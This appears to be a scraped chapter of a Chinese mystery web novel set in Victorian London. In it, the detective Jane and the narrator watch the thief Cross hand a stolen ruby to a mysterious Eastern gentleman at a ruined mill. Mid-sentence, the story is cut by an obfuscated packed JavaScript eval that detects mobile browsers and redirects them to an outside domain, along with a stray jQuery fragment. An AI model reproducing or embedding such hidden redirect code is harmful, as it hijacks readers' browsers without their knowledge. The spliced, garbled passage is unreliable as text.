28.3.6

作品:《里斯克小姐的奇妙故事

    带队来的警探长我此前并没有见过。


    但是,谢天谢地,不是霍华德就行。


    “小姐们好,我是查尔斯·怀特。”


    那是一位很彬彬有礼的绅士,约莫三十多岁,挂着爽朗的笑,对我们的态度也很友好,对简甚至还有些恭敬。


    “希望我们之后能有很好的合作。”查尔斯·怀特是这么说的。


    杀害克里米亚夫人的女仆露西被带走了。


    偷走“盛会之星”的怪盗克罗斯却不知所踪。


    苏格兰场的人带走了那张卡片,他们必然是按着惯例对怪盗克罗斯追加悬赏,然后尽力地搜寻一下。


    至于其他人,这个充满着诅咒戏剧的华丽夜晚终于结束了。


    “先生,我想你不介意停留一下。”


    简叫住了那位神秘的东方先生。


    “当然,小姐。”


    “怪盗克罗斯,”简就像是自顾自地说着,“他要的不是石头。是戏。是宝石掀起的风暴,是整个伦敦的惊惶,是追捕者徒劳的奔忙。一场盛大的表演。他得到了。”


    她向前一步,我站在一旁,看着他们近乎对峙。“那颗“盛会之星”?对他而言,不过是落幕时随手丢弃的道具。”


    东方先生眼睫极轻微地抬了一下,深沉的眸子终于聚焦在简脸上。


    “您呢?”简的声音压得更低,“您来到这,想从那颗石头里得到什么?价值?还是…别的?”


    休息室里死寂一片,远处的警笛声若隐若现,模糊不清。


    尘埃在微弱的光里缓缓沉浮。


    许久,东方先生开口,声音低沉如同旷古的回响,“它不属于这里的喧嚣。它需要……回去。”


    “回去。”简重复了一遍。


    然后,她沉默了,就像是在沉思。


    “那么,您或许该去找找我们那位谢幕的演员。”她的声音很轻,“‘老磨坊’,河湾上游。午夜。他或许在等最后一个观众。或者说,等一个收场的人。”


    说完,她不再停留,“弗瑞,我们走吧。”


    “好的。”我忍住了想问出口的话,跟着简离开了。


    出了克里米亚庄园,我才终于感觉好受一些。


    “简,你认识克罗斯。”我迫不及待地问,其实已经是肯定了,“你也许有些事要和我说。”


    “嗯,弗瑞,他是…呃…我过去的老熟人。”简似乎不知道怎么说。


    我们转过一个街角,煤气路灯昏黄的光晕将我们的影子拉长又缩短。


    简忽然停了下来。


    我差点撞上她。


    她转过身,夜色中,没有解释,没有安抚的言语,她只是伸出双臂,轻轻地将我拥入怀中。


    这个拥抱来得突然,带着她身上惯有的气息。很短暂,却异常坚实。她的手臂环着我的肩膀,传递出一种无言的力量,一种超越所有秘密的承诺。


    “相信我,好吗?”她的声音贴着我的发顶响起,低沉,却带着近乎恳求的柔和。


    我的心跳漏了一拍,所有盘旋在舌尖的追问,关于克罗斯,关于他们的“过去”,关于她为何如此笃定他会交出宝石,都被这个拥抱和这句简单的请求堵了回去。


    她身上有太多的阴影,太多我不能触及的角落。


    但此刻,在这条清冷的街道上,在她难得流露的脆弱(如果那算是脆弱的话)面前,信任似乎成了唯一的选择,也是我早已做出的选择。


    “嗯。”我最终这样应道。


    我本来也足够信任她,只是她有太多的事情不能告诉我。


    “那颗宝石?”我问。


    “克罗斯会将一切得到的东西赠给他认为应该的人,当然,也包括他自己。或者说,一切随他心意。”简说。


    我随她远离。


    简没有带我回住所,也没有去苏格兰场。


    我们来到了泰晤士河上游一处荒凉偏僻的河湾。


    空气中弥漫着河水特有的腥气和腐朽味道。远处,废弃老磨坊的巨大黑影如同庞大的怪物一样笼罩在岸边。月光稀薄,吝啬地涂抹出它破败的轮廓。


    “在这里等。”简的声音低得几乎被风声淹没。“别出声,弗瑞。只是看。”


    我抓住她的手,踩着湿滑的泥地和破碎的瓦砾,悄无声息地靠近磨坊。


    简选了一处背风的断墙残骸,阴影浓重,刚好能容下我们两人。


    前方不远处,就是那个早已停转的巨大水轮,黑黢黢的,一半浸泡在缓慢流淌的浑浊河水里。


    时间在这里是微不足道的。


    只有风声在朽坏的木架和断裂的齿轮间呜咽穿梭,还有河水拍打岸边的单调声响。


    午夜钟声从遥远的城镇飘来,虚幻而空洞,恰好十二下。


    最后一声余韵被风声撕碎。


    就在这时,一道身影如同从水轮旁的浓重阴影中出来,悄无声息地立在了那里。


    是那位东方先生。


    他身形挺拔,在惨淡的月光下只是一个更深的剪影,仿佛本就是这片废墟的一部分,沉静得如同礁石。


    几乎在他站定的同时,磨坊深处,那巨大的阴影里,响起了脚步声。


    不疾不徐,踏在碎石和朽木上,清晰得带着一种刻意的韵律。


    怪盗克罗斯。


    他穿着一身标志性的礼服,但此刻显得异常狼狈。昂贵的布料沾满了灰尘和泥浆,有几处甚至被勾破了,领结歪斜地挂在脖子上。脸上带着怪异的面具。


    “啊哈……”


    克罗斯的声音在空旷的废墟里响起,带着夸张的咏叹调,却掩饰不住深处的沙哑和力竭。


    “这有一位品味独到的观众……赶在幕布彻底落下之前。”


    他停下脚步,目光落在水轮旁那个沉默如山的剪影上,嘴角扯出笑,“还是说,是有人让你来收场的?”


    东方先生没有任何回应,连一丝细微的动作都没有。只有夜风吹动他长衫的下摆。


    “好吧好吧,又是里斯克。我真的不懂她了。”克罗斯似乎带着无奈地抱怨。


    克罗斯似乎并不在意东方先生的沉默。


    他自顾自地环顾着这片破败的景象,像是在检视舞台的布景。


    “盛大,华丽,无与伦比…啊哈…”他喃喃自语,声音低了下去,更像是在回味。


    他低低地笑了两声,“多么辉煌的终章!足以让任何小偷在坟墓里笑醒。”


    然后他的目光最后落回东方先生身上,带着一种奇异的审视,“至于这……”


    他的手随意地伸进礼服内袋。再伸出时,掌心托着一物。


    即使光线如此黯淡,我依然认出来了。


    是“盛会之星”。


    它静静地躺在他掌心,冰冷地反射着残月微弱的光辉。


    “……交出去也不是不行,反正已经结束了。”


    克罗斯的语气轻佻散漫,仿佛在谈论一颗无用的石子。


    他低头,最后一次凝视着掌心,面具下的眼神难以看清,但那微微倾斜的头颅透出一种彻底的厌倦和释然。


    没有犹豫,没有留恋。他手腕随意地一甩。


    那颗价值连城的红宝石,悄无声息地落入了东方先生摊开的掌心。


    东方先生稳地接住了它。


    克罗斯看着宝石落入对方手中,面具下的嘴角似乎动了一下。


    “带它走吧。”他的声音轻飘飘的,像一阵即将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004706|177843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    散去的烟雾,“该回家了。”


    他最后看了一眼东方先生,什么也没再说。


    只是微微颔首,动作带着落幕后的某种奇异庄重。


    然后,他后退一步,两步……


    身影便如同滴入浓墨的水滴,无声无息地融入了身后巨大的阴影里,彻底消失了踪影。


    仿佛他从未出现过。


    东方先生依旧站在原地。


    浑浊的河水在脚下无声流淌,呜咽的风声是这片死寂中唯一的哀歌。


    简轻轻碰了碰我的手臂。


    我们悄无声息地退出了断墙的阴影,回到了有着灯光的大道上。


    远处,传来一声沉闷的汽笛,悠长而遥远,像是某种告别。


    马车碾过伦敦夜晚湿冷的石板路,车厢里比老磨坊废墟的风声更安静。


    简坐在对面,身体微微后仰,陷在车厢的阴影里。她的脸侧向窗外,我看不清表情。


    很多问题在舌尖打转。


    克罗斯那句“又是里斯克”里的熟稔,他们讳莫如深的“过去”,她为何笃信克罗斯会把宝石交给一个近乎陌生的人……


    每一个疑问都被那个短暂却坚实的拥抱,还有那句贴在发顶的“相信我”无声地堵了回去。


    信任是她给我的绳索,也是她为自己设下的藩篱。


    最终,我只是轻轻开口,声音在狭窄的车厢里有些回荡。


    “他走了。”我说的是克罗斯,也是那个带走宝石的东方人。


    简的身体微微动了一下。


    她缓缓转过头,目光从窗外移向我。


    “嗯。”她应了一声,声音低沉沙哑,“我们该回家了。”


    我们没再说话。


    车子在公寓楼附近停下。


    她先下车,站在路边,微微瑟缩了一下,拉紧风衣领口。


    夜风吹乱她鬓角的碎发,少了几分凌厉,多了几分真实。


    我跟着下车,站在她身边。


    然后我们开始步行。


    “弗瑞,”她忽然开口,声音很轻,几乎被风吹散。


    “嗯?”我看向她。


    她也转过头,路灯的光晕落在眼底。


    “谢谢你,”她说,停顿了一下,“……陪我看完这场戏。”


    她的用词很微妙。


    “戏”。


    和克罗斯口中的“盛大表演”如出一辙。


    仿佛克里米亚庄园的血案,老磨坊废墟的交接,都不过是一出剧目。


    我想从她眼中找到戏谑,却只看到平静的坦诚。


    也许世事本就如此,洞察者如她,也不过是冷漠的观众,或偶尔登台的演员。


    我最终只是点了点头。


    她似乎想说什么,嘴唇动了动,最终化作几乎看不见的微笑。


    夜风拂过,带着泰晤士河潮湿的水汽。


    几天后,一则不起眼的消息登在了报纸的角落,一艘开往远东的远洋货轮,在浓雾弥漫的清晨驶离了伦敦港。报道简短,淹没在议会辩论和股票行情的喧嚣里。


    没有人知道,在那甲板的一角,一个东方男人凭栏而立。


    他的面容沉静,目光穿透翻涌的灰白色海雾,投向那片逐渐消失在视野中的海岸线。


    那里埋葬着克里米亚夫人的死亡,露西的疯狂,莫里安的绝望,还有一场属于怪盗的盛大而血腥的终幕。


    海风凛冽,带着咸腥的气息,吹动他额前的黑发。


    而他的行李箱里,它被包裹在粗糙的布料里,沉默着,像一个被封印的秘密,跟随着它暂时的主人,驶向雾霭沉沉与不可知的东方。


    只有冰冷的海风,呜咽着,送别这最后的秘密远行。